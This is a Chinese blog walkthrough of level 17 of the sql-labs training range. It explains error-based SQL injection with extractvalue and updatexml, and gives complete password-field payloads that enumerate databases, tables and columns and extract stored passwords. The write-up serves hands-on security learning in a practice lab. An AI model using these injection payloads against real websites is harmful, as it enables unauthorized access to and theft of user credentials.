superforming的sql-labs大通关
第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…
提要
本文中的sql语句不可以直接复制到靶场中注入,因为编辑的时候不一定是用英语符号,直接复制可能不会注入成功。我写这一系列的博客,主要是记录的自己的学习心路。
<1>特殊之处
(1)与之前关卡相比
- 1.在前十六关,我只讲了sql-labs基于get数据传输方式的“联合查询”、“布尔盲注”、“时间盲注”、和基于post传输数据方式的“联合查询”、“布尔盲注”、“时间盲注”。这一关可以用使用的“报错注入”和“时间盲注”,前面的关卡用过时间盲注这一关就用报错注入。下面来分析一下为什么能使用“报错注入”,观察源码就会发现调用了“mysql_erroe函数”与“print_r函数”将报错信息输出,所以可以进行"报错注入",但是不能进行联合查询,因为没有回显。调用的函数是mysql_query函数所以不能堆叠注入。【如下图】
- 2.同时也首次调用"check_input()函数"对变量“uname”进行过滤。【如下图】
(2)与之后关卡相比
这一关源码首次调用了“update”这可以更新数据库数据,所以在完成通过以后为了不影响以后的关卡要进行相应操作,或者在操作时不要改成奇奇怪怪的“password”。
<2>报错查询原理
(1)extractvalue函数
- 1.函数作用:这一个函数的作用是返回对应路径下的内容。
- 2.语法机构:extractvalue(xml_document,xpath_string)
- 3.解释:xml_document就是xml文档的名字,xpath_string就是文档中的路径,且要符合xpath语法
- 4.报错原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。
(2)updatexml函数
- 1.函数作用:将对应路径下的值变为新值。
- 2.语法结构:updatexml(xml_document,xpath_string,new_value)
- 3.解释:前两个参数和之前的函数一样,最后的参数是一个常量是要被赋予的新值。
- 4.报错原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。
<3>具体步骤
(1)第一步:判断是否存在注入
和前几关基于post数据传输的步骤类似,在“username”和“password”中分别尝试数据包裹的常用的七种方式(“无包裹”、“单引号”、“双引号”、“单引号加单括号”、“双引号加单括号”、“单引号加双括号”、“双引号加双括号”),判断是否有注入。
-
1.在”username“处进行注入最终发现尝试完七种包裹方式还是不能注入成功,只能得到如下图的结果,证明应该将输入的信息进行了过滤。
-
2.在“password”处进行注入发现,包裹方式为“单引号”。
(2)第二步:爆库名
进行了上文的分析,我们已经知道这一关要基于“报错查询”进行注入,并且只能在“password”处进行注入,所以我们在"username"处输入:
admin
在"password"处输入:
admin’ and updatexml(‘forming is very handsome’,concat(’,’,(select schema_name from information_schema.schemata limit x,1),’,’),‘forming is very handsome’) #
或者
admin’ and extractvalue(‘forming is very handsome’,concat(’,’,(select schema_name from information_schema.schemata limit x,1),’,’)) #
特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
输入正确以后会返回如下的网页(以x为零做例子)
(3)第三步:爆表名
和上面第二部类似,只需要改动几处。我们要在“username”处输入:
admin
在“password”处输入:
admin’and updatexml(‘forming is very handsome’,concat(’,’,(select table_name from information_schema.tables where table_schema=‘security’ limit x,1),’,’),‘forming is very handsome’) #
或者
admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select table_name from information_schema.tables where table_schema=‘security’ limit x,1),’,’)) #
特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
以"x"为0为例输入正确会有如下结果
(4)第四步:爆字段名
在“username”处输入:
admin
在“password”处输入:
admin’and updatexml(‘forming is very handsome’,concat(’,’,(select column_name from information_schema.columns where table_name=‘users’ limit x,1),’,’),‘forming is very handsome’)#
或者
admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select column_name from information_schema.columns where table_name=‘users’ limit x,1),’,’))#
特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
以"x"为0为例输入正确会有如下结果
(5)第五步:爆字段
对“You can’t specify target table ‘users’ for update in FROM clause”和“Every derived table must have its own alias”报错的解决及原理
-
【1】:原理
爆字段和前面那几步有根本的不同,首先就是通过网页post传递数据之后经过php脚本在数据库中查信息,在slect一个表的情况下,不能指定该表中的明确的目标进行更改。如果按照上面和我之前的博文进行举一反三的话会有如下报错
而我们用“创建表”的方法解决以后会因为这个表没有别名“alias”而有如下报错
-
【2】:解决办法
既然没办法在select一个表的情况下,update一个表,那我们只需要先执行一个select在这一个基础上select这个select结果,就可以解决第一个问题。同时用"as"的方式解决第二个报错的问题
具体步骤
- 【1】在“username”处输入:
admin
- 【2】在这里用“password”做比,查“username”请读者举一反三
在“password”处输入:
admin’and updatexml(‘forming is very handsome’,concat(’,’,(select password from ((select password from users) as formingisveryhandsome) limit x,1),’,’),‘forming is very handsome’)#
或者
admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select password from((select password from users)as formingisveryhandsome) limit x,1),’,’))#
特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
就可以实现注入sql语句查询密码。以x为0为例若输入正确会得到如下图所示的结果:
第六步:数据库还原
这一关特殊之处在于用“update”对数据库中的数据进行改变,所以我们在做完这一关之后要进行还原,还原的方法就是,回到网站的首页
点击左上角出如上图的“Setup/reset Database for labs”就可以重置数据库
superforming的sql-labs大通关
第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…